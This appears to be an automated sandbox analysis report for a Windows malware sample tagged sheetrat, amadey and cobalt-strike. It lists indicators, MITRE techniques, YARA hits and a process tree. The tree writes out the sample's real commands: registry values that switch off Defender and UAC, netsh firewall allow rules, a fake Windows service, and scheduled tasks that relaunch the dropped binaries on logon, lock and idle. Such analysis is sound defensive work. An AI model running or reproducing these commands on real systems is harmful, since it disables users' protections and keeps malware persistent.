sheetrat | c2fe9cac76943167521ebbbaad51b634510488ef68a5c54966b0ec04d8b2ad30

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe

UAC bypass 3 TTPs 12 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 2 IoCs

resource	yara_rule
behavioral2/memory/2652-0-0x000001B59DA00000-0x000001B59DA6E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral2/files/0x000d00000001c53d-15.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs

resource	yara_rule
behavioral2/memory/2652-0-0x000001B59DA00000-0x000001B59DA6E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral2/files/0x000d00000001c53d-15.dat	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/2652-0-0x000001B59DA00000-0x000001B59DA6E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000d00000001c53d-15.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3488	netsh.exe
1576	netsh.exe
1800	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
1700	BootExecutor.exe
2504	M1004NUS.exe
4364	M1004NUS.exe
3532	SkypeHost.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5812	sc.exe
472	sc.exe
5188	sc.exe
1160	sc.exe
2588	sc.exe
1344	sc.exe
2788	sc.exe
6000	sc.exe
5400	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2460	cmd.exe
2428	cmd.exe
2644	cmd.exe
5092	cmd.exe
4560	CMD.exe
5068	cmd.exe
2376	cmd.exe
2344	cmd.exe
3340	CMD.exe
2576	cmd.exe
5612	cmd.exe
548	cmd.exe
5608	cmd.exe
2764	cmd.exe
1132	cmd.exe
3708	cmd.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 25 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2140	schtasks.exe
1068	schtasks.exe
2656	schtasks.exe
4496	schtasks.exe
4728	schtasks.exe
3400	schtasks.exe
5148	schtasks.exe
4540	schtasks.exe
4016	schtasks.exe
5804	schtasks.exe
4996	schtasks.exe
5956	schtasks.exe
5548	schtasks.exe
1652	schtasks.exe
4536	schtasks.exe
2280	schtasks.exe
2752	schtasks.exe
3620	schtasks.exe
3320	schtasks.exe
5792	schtasks.exe
3184	schtasks.exe
5236	schtasks.exe
1188	schtasks.exe
2580	schtasks.exe
4988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1700	BootExecutor.exe
1700	BootExecutor.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	1776	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Token: SeDebugPrivilege	1700	BootExecutor.exe
Token: SeDebugPrivilege	2504	M1004NUS.exe
Token: SeDebugPrivilege	4364	M1004NUS.exe
Token: SeDebugPrivilege	3532	SkypeHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 548	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	90
PID 548 wrote to memory of 1800	548	cmd.exe	92
PID 2652 wrote to memory of 1344	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	95
PID 2652 wrote to memory of 2788	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	97
PID 2652 wrote to memory of 6000	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	99
PID 2652 wrote to memory of 5208	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	102
PID 2652 wrote to memory of 4536	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	105
PID 2652 wrote to memory of 5608	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	108
PID 5608 wrote to memory of 2140	5608	cmd.exe	110
PID 2652 wrote to memory of 2004	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	112
PID 2652 wrote to memory of 5100	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	113
PID 2652 wrote to memory of 4560	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	114
PID 2652 wrote to memory of 2376	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	116
PID 2652 wrote to memory of 5092	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	118
PID 2652 wrote to memory of 2764	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	119
PID 2652 wrote to memory of 1132	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	121
PID 2652 wrote to memory of 2344	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	122
PID 2652 wrote to memory of 1068	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	129
PID 4560 wrote to memory of 4944	4560	CMD.exe	130
PID 5092 wrote to memory of 2656	5092	cmd.exe	132
PID 2376 wrote to memory of 4016	2376	cmd.exe	133
PID 2344 wrote to memory of 5804	2344	cmd.exe	134
PID 2764 wrote to memory of 4496	2764	cmd.exe	135
PID 1132 wrote to memory of 3184	1132	cmd.exe	136
PID 2652 wrote to memory of 2504	2652	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe	137
PID 1700 wrote to memory of 3708	1700	BootExecutor.exe	141
PID 3708 wrote to memory of 3488	3708	cmd.exe	143
PID 1700 wrote to memory of 5400	1700	BootExecutor.exe	144
PID 1700 wrote to memory of 472	1700	BootExecutor.exe	146
PID 1700 wrote to memory of 5188	1700	BootExecutor.exe	148
PID 2504 wrote to memory of 2460	2504	M1004NUS.exe	149
PID 1700 wrote to memory of 1360	1700	BootExecutor.exe	152
PID 2460 wrote to memory of 1576	2460	cmd.exe	154
PID 1700 wrote to memory of 4728	1700	BootExecutor.exe	155
PID 2504 wrote to memory of 5812	2504	M1004NUS.exe	157
PID 2504 wrote to memory of 1160	2504	M1004NUS.exe	159
PID 2504 wrote to memory of 2588	2504	M1004NUS.exe	161
PID 2504 wrote to memory of 2852	2504	M1004NUS.exe	163
PID 2504 wrote to memory of 3340	2504	M1004NUS.exe	165
PID 2504 wrote to memory of 4996	2504	M1004NUS.exe	166
PID 2504 wrote to memory of 2576	2504	M1004NUS.exe	167
PID 2504 wrote to memory of 5612	2504	M1004NUS.exe	170
PID 2504 wrote to memory of 2428	2504	M1004NUS.exe	171
PID 2504 wrote to memory of 5068	2504	M1004NUS.exe	172
PID 1700 wrote to memory of 5704	1700	BootExecutor.exe	177
PID 5068 wrote to memory of 5956	5068	cmd.exe	179
PID 5612 wrote to memory of 5548	5612	cmd.exe	180
PID 3340 wrote to memory of 3984	3340	CMD.exe	181
PID 1700 wrote to memory of 2280	1700	BootExecutor.exe	182
PID 2428 wrote to memory of 2752	2428	cmd.exe	183
PID 2576 wrote to memory of 3620	2576	cmd.exe	185
PID 2504 wrote to memory of 4416	2504	M1004NUS.exe	186
PID 2504 wrote to memory of 5236	2504	M1004NUS.exe	188
PID 1700 wrote to memory of 5440	1700	BootExecutor.exe	190
PID 1700 wrote to memory of 3400	1700	BootExecutor.exe	192
PID 2504 wrote to memory of 5736	2504	M1004NUS.exe	194
PID 2504 wrote to memory of 3320	2504	M1004NUS.exe	196
PID 1700 wrote to memory of 1800	1700	BootExecutor.exe	198
PID 1700 wrote to memory of 1188	1700	BootExecutor.exe	200
PID 2504 wrote to memory of 1032	2504	M1004NUS.exe	202
PID 2504 wrote to memory of 2580	2504	M1004NUS.exe	204
PID 1700 wrote to memory of 3332	1700	BootExecutor.exe	206
PID 1700 wrote to memory of 1652	1700	BootExecutor.exe	208
PID 2504 wrote to memory of 4916	2504	M1004NUS.exe	210

System policy modification 1 TTPs 18 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Registers new Windows logon scripts automatically executed at logon.
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1800
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:1344
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2788
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:6000
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_82b3a378" /F
  2⤵
  PID:5208
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_82b3a378" /XML "C:\Users\Admin\AppData\Local\Temp\84fc5f29-2cbc-40f6-b64d-a977f4146943.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 10 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5608
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 10 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2140
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:2004
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_f5b58e32" /F
  2⤵
  PID:5100
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Holy Check"
    3⤵
    PID:4944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5804
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_f5b58e32" /XML "C:\Users\Admin\AppData\Local\Temp\49b89bb4-6deb-4132-ba50-e8763da79f6e.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1068
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - UAC bypass
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Checks whether UAC is enabled
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2504
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1576
